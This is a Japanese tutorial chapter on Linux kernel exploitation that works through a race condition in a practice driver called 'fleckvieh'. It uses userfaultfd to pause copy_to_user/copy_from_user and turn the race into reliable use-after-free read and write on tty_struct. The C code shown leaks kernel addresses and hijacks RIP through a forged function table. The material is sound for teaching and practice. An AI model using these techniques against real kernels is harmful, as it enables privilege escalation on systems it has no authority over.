LK04(Fleckvieh)では、LK01-4(Holstein v4)で学んだものと同様のRace Conditionを、より厳しい条件で扱います。まず練習問題LK04のファイルをダウンロードしてください。
ドライバの確認
まずはドライバのソースコードを読んでみてください。今回のドライバは今までに比べると量が多く、これまで登場しなかった機能や記法が存在します。module_open
は次のようになっています。
1 2 3 4 5 6 7 8 9
| static int module_open(struct inode *inode, struct file *filp) { filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL); if (unlikely(!filp->private_data)) return -ENOMEM;
INIT_LIST_HEAD((struct list_head*)filp->private_data); return 0; }
|
まず4行目にunlikely
というマクロが登場しています。これはLinuxカーネルでは次のように定義され、頻繁に登場します。
1 2
| #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0)
|
ほとんどの場合片方しか通らない条件分岐(セキュリティチェックやメモリ不足の確認)などにおいて、どちらの分岐に通りやすいかをコンパイラに教えられます。正しい予測でlikely
, unlikely
マクロを使えば、何度も通るような条件分岐では実行速度の向上に繋がります。
コンパイラにヒントを与えると、よく通るパスほど命令数や分岐回数を減らしてくれるよ。
このあたりの話はCPUの分岐予測とも関わるから、気になる人は調べてみてね。
次に、7行目にINIT_LIST_HEAD
というマクロが登場しています。これはtty_struct
などで登場した双方向リストのlist_head
構造体を初期化するためのマクロです。各ファイルopenに対して双方向リストを作るためにprivate_data
にこの構造体を入れています。
このリストはblob_list
構造体に繋がります。
1 2 3 4 5 6
| typedef struct { int id; size_t size; char *data; struct list_head list; } blob_list;
|
リストへのアイテムの追加はlist_add
, 削除はlist_del
, イテレーションはlist_for_each_entry(_safe)
などの操作があります。具体的な使い方については適宜調べてください。
ioctl
の実装を見ると、このモジュールにはCMD_ADD
, CMD_DEL
, CMD_GET
, CMD_SET
の4種類の操作があることが分かります。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct list_head *top; request_t req; if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req)))) return -EINVAL;
top = (struct list_head*)filp->private_data;
switch (cmd) { case CMD_ADD: return blob_add(top, &req); case CMD_DEL: return blob_del(top, &req); case CMD_GET: return blob_get(top, &req); case CMD_SET: return blob_set(top, &req); default: return -EINVAL; } }
|
CMD_ADD
はリストにblob_list
を追加します。各blob_list
は0x1000バイト以下のデータを持ち、内容は任意に設定できます。また、追加時にランダムにIDが割り振られ、ioctl
の返り値としてユーザー側が貰えます。ユーザーは以降そのIDを使って、そのblob_list
を操作できます。
CMD_DEL
は、IDを渡すことで対応するblob_list
をリストから破棄できます。
CMD_GET
は、IDとバッファおよびサイズを指定して、対応するblob_list
のデータをユーザー空間にコピーします。
最後にCMD_SET
は、IDとバッファおよびサイズを指定して、対応するblob_list
にユーザー空間からデータをコピーします。
今までのモジュールと同様にデータを保存できる機能ですが、Fleckviehではリストでデータを管理しており、複数のデータを保存できるようになっています。
脆弱性の確認
LK01をすべて勉強した方なら脆弱性は一目瞭然でしょう。どこの処理にもロックが取られていないため、簡単にデータ競合が発生します。しかし、この競合をexploitしようとすると問題が発生します。
データを双方向リストという複雑な構造で管理しているため、削除するタイミングでデータを読み書きしようとしても、unlinkのタイミングで書き込もうとする可能性があり、リンクやカーネルヒープの状態が破壊されてしまいます。すると、race中にクラッシュしたり、Use-after-Freeができたかを判定できなかったりと困ります。
実際にraceを書いて確認しましょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| int fd;
int add(char *data, size_t size) { request_t req = { .size = size, .data = data }; return ioctl(fd, CMD_ADD, &req); } int del(int id) { request_t req = { .id = id }; return ioctl(fd, CMD_DEL, &req); } int get(int id, char *data, size_t size) { request_t req = { .id = id, .size = size, .data = data }; return ioctl(fd, CMD_GET, &req); } int set(int id, char *data, size_t size) { request_t req = { .id = id, .size = size, .data = data }; return ioctl(fd, CMD_SET, &req); }
int race_win;
void *race(void *arg) { int id; while (!race_win) { id = add("Hello", 6); del(id); } }
int main() { fd = open("/dev/fleckvieh", O_RDWR); if (fd == -1) fatal("/dev/fleckvieh");
race_win = 0;
pthread_t th; pthread_create(&th, NULL, race, NULL);
int id; for (int i = 0; i < 0x1000; i++) { id = add("Hello", 6); del(id); } race_win = 1; pthread_join(th, NULL);
close(fd); return 0; }
|
このコードでは複数スレッドでデータの追加と削除を繰り返します。競合が発生すると双方向リストのリンクが壊れるため、最後のclose
でリストの内容を解放する際にクラッシュします。
このように、複雑なデータ構造における競合はexploitできないのでしょうか。
userfaultfdとは
今回のように複雑な条件の競合をexploitしたり、競合の成功確率を100%にするために、userfaultfdという機能を悪用した攻撃方法があります。
CONFIG_USERFAULTFD
を付けてLinuxをビルドすると、userfaultfdという機能が使えるようになります。userfaultfdはユーザー空間でページフォルトをハンドルするための機能で、システムコールとして実装されています。
CAP_SYS_PTRACE
を持っていないユーザーがuserfaultfd
をすべての権限で使うためにはunprivileged_userfaultfd
フラグが1になっている必要があります。このフラグは/proc/sys/vm/unprivileged_userfaultfd
で設定・確認でき、デフォルトでは0になっていますが、LK04のマシンでは1になっていることが確認できます。
ユーザーはuserfaultfd
システムコールでファイルディスクリプタを受け取り、それにハンドラやアドレスなどの設定をioctl
で適用します。userfaultfdを設定したページでページフォルトが起きた場合(初回アクセス時)、設定したハンドラが呼び出され、ユーザー側でどのようなデータ(マップ)を返すかを指定できます。図で表すと次のような手順で処理が発生します。
ページフォルトが発生すると登録したユーザー空間のハンドラが呼び出されるため、ページを読もうとしたスレッド1は、スレッド2のハンドラがデータを返すまでブロックします。これはカーネル空間からのページ読み書きでも同じなため、読み書きのタイミングでカーネル空間の処理を停止させられます。
userfaultfdの使用例
試しに次のコードを実行してみましょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| #define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h>
void fatal(const char *msg) { perror(msg); exit(1); }
static void* fault_handler_thread(void *arg) { char *dummy_page; static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; static int fault_cnt = 0;
uffd = (long)arg;
dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (dummy_page == MAP_FAILED) fatal("mmap(dummy)");
puts("[+] fault_handler_thread: waiting for page fault..."); pollfd.fd = uffd; pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert (msg.event == UFFD_EVENT_PAGEFAULT);
printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags); printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address);
if (fault_cnt++ == 0) strcpy(dummy_page, "Hello, World! (1)"); else strcpy(dummy_page, "Hello, World! (2)"); copy.src = (unsigned long)dummy_page; copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff; copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); }
return NULL; }
int register_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; pthread_t th;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd");
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("UFFDIO_REGISTER");
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd)) fatal("pthread_create");
return 0; }
int main() { void *page; page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap"); register_uffd(page, 0x2000);
char buf[0x100]; strcpy(buf, (char*)(page)); printf("0x0000: %s\n", buf); strcpy(buf, (char*)(page + 0x1000)); printf("0x1000: %s\n", buf); strcpy(buf, (char*)(page)); printf("0x0000: %s\n", buf); strcpy(buf, (char*)(page + 0x1000)); printf("0x1000: %s\n", buf);
getchar(); return 0; }
|
このコードではregister_uffd
にページのアドレスとuserfaultfdを設定するサイズを渡します。register_uffd
はページフォルトを処理するスレッドfault_handler_thread
を作成します。
ページフォルトが発生するとfault_handler_thread
中のread
でイベントを取得し、データを返します。上記のサンプルプログラムでは、何回目のページフォルトかによって返すデータを変更しています。
main
関数では2ページ分の領域を確保し、それに対してuserfaultfdを設定しています。最初の2つのstrcpy
では初回アクセスによりページフォルトが発生するため、userfaultfdのハンドラが発火します。次のように、最初の2回でハンドラが呼ばれ、ハンドラで返したデータが反映されていれば成功です。
userfaultfdのハンドラは別スレッドで動くから、メインスレッドと違うCPUで動く可能性があるよ。
ハンドラ内でオブジェクトを確保するとき、CPUごとにキャッシュされたヒープ領域が使われるとUAFが失敗しちゃうから、sched_setaffinity関数でCPUを固定するように注意してね。
Raceの安定化
実際にuserfaultfdをexploitに利用してみましょう。
userfaultfdを使うことでページフォルトのタイミングでカーネル空間(ドライバ中の処理)からユーザー空間へコンテキストを切り替えられます。ページフォルトが起こるのは設定したユーザー空間のページを最初に読み書きしようとした時なので、今回のドライバではcopy_from_user
やcopy_to_user
の箇所で処理を一時停止できます。列挙すると次の箇所で処理を止められることが分かります。
blob_add
のcopy_from_user
blob_get
のcopy_to_user
blob_set
のcopy_from_user
Use-after-Freeが目的なので、上記のような関数で処理を止めている間にデータをblob_del
で削除できます。blob_get
中に削除すればUAF Readが、blob_set
中に削除すればUAF Writeが実現できます。tty_struct
などをUse-after-Freeで読み書きしてみましょう。
図で流れを表すと次のようになります。
tty_struct
と同じサイズ帯(kmalloc-1024)で確保したバッファvictim
に対してblob_get
を呼びます。この際userfaultfdを設定したアドレスを渡すと、blob_get
中のcopy_to_user
でページフォルトが発生してハンドラが呼ばれます。排他制御をしていないためハンドラ中からblob_del
が呼べて、その結果victim
は解放されます。
さらに、tty_struct
をsprayすると先ほど解放したvictim
の領域にttyオブジェクトが確保されます。あとはハンドラから適当なバッファを渡し、復帰すればcopy_to_user
でvictim
のアドレスからデータがコピーされるため、ユーザー空間にttyオブジェクトがコピーされます。
同じ原理でblob_set
を呼べばUAFによるオブジェクトの書き換えも可能です。コードを書いてUAFを確認してみましょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| cpu_set_t pwn_cpu;
int victim; char *buf;
static void* fault_handler_thread(void *arg) { static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; static int fault_cnt = 0;
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) fatal("sched_setaffinity");
uffd = (long)arg;
puts("[+] fault_handler_thread: waiting for page fault..."); pollfd.fd = uffd; pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert (msg.event == UFFD_EVENT_PAGEFAULT);
switch (fault_cnt++) { case 0: { puts("[+] UAF read"); del(victim);
int fds[0x10]; for (int i = 0; i < 0x10; i++) { fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (fds[i] == -1) fatal("/dev/ptmx"); }
copy.src = (unsigned long)buf; break; }
case 1: break; }
copy.dst = (unsigned long)msg.arg.pagefault.address; copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); }
return NULL; }
...
int main() { CPU_ZERO(&pwn_cpu); CPU_SET(0, &pwn_cpu); if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) fatal("sched_setaffinity"); fd = open("/dev/fleckvieh", O_RDWR); if (fd == -1) fatal("/dev/fleckvieh");
void *page; page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap"); register_uffd(page, 0x2000);
buf = (char*)malloc(0x400); victim = add(buf, 0x400); set(victim, "Hello", 6);
get(victim, page, 0x400); for (int i = 0; i < 0x80; i += 8) { printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i)); }
return 0; }
|
コードは長いですが、やっていることはさきほどの図に書いた通りです。100%の確率でUse-after-Freeが成功することが確認できます。
上図のリークされたデータを見ると気づくかもしれませんが、tty_struct
の先頭のデータがコピーできていません。(本来tty_operation
などがありますが、最初の0x30バイトあたりはすべて0になっています。)
これはcopy_to_user
を大きいサイズで呼んだことが原因です。copy_to_user
はvictim
の領域からデータをコピーしますが、先頭からコピーしようと試みます。victim
の先頭の方を読み込むと、次にそのデータを宛先にコピーしようとします。ここで初めてページフォルトが発生するため、最初の方のバイト列はUAFが発生する前のものになります。
幸いにもcopy_to_user
はコピーサイズに応じて、コピーの各ループイテレーションでどれだけのサイズのデータをコピーするか(レジスタに貯め込むか)が変わります。したがって、例えば0x20のような小さいサイズでcopy_to_user
を呼べば、最初の0x10バイトのみがUAF前のデータとなり、tty_operations
のポインタを含む残りの0x10バイトはUAF後のものがコピーされます。
アセンブリレベルでいつページフォルトが起きるかを把握できていないと、デバッグが大変そうだね。
KASLRとヒープアドレスのリークができれば、同様にUAF Writeを作ります。
今回もいつもどおり偽のtty_struct
のops
を偽の関数テーブルに向けるのですが、今回UAFが発生するアドレスは前回リークした場所と異なる可能性があることに注意してください。リークしたヒープのアドレスはclose
で解放したtty_struct
の場所なので、まずは偽tty_operation
をsprayするようにしましょう。(今回はtty_operation
とtty_struct
を兼用します。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| case 2: { puts("[+] UAF write"); for (int i = 0; i < 0x100; i++) { add(buf, 0x400); }
...
victim = add(buf, 0x400); get(victim, page+0x1000, 0x400); unsigned long kheap = *(unsigned long*)(page + 0x1038) - 0x38; printf("kheap = 0x%016lx\n", kheap); for (int i = 0; i < 0x10; i++) close(ptmx[i]);
|
リーク済みアドレスに偽関数テーブルを用意できたら、UAF Readと同様にUAFを引き起こします。
1 2 3 4 5 6 7 8 9
| del(victim); for (int i = 0; i < 0x10; i++) { ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (ptmx[i] == -1) fatal("/dev/ptmx"); }
copy.src = (unsigned long)buf;
|
今回はUAF Writeなので、書き込むデータを制御する必要があります。書き込むデータはcopy.src
に指定します。そのため、事前に偽tty_struct
を用意しておきましょう。
1 2 3 4 5 6 7 8 9
| memcpy(buf, page+0x1000, 0x400); unsigned long *tty = (unsigned long*)buf; tty[0] = 0x0000000100005401; tty[2] = *(unsigned long*)(page + 0x10); tty[3] = kheap; tty[12] = 0xdeadbeef; victim = add(buf, 0x400); set(victim, page+0x2000, 0x400);
|
RIPが制御できていれば成功です。あとは各自で権限昇格までのexploitコードを完成させてください。
サンプルのexploitコードはここからダウンロードできます。
今回はRaceを安定化させる目的のみでuserfaultfdを使いました。
一方で、ページをまたいでデータを配置すると、構造体の特定のメンバの読み書きで処理を止めることができます。
この手法を利用してexploitできるような状況について考察してみましょう。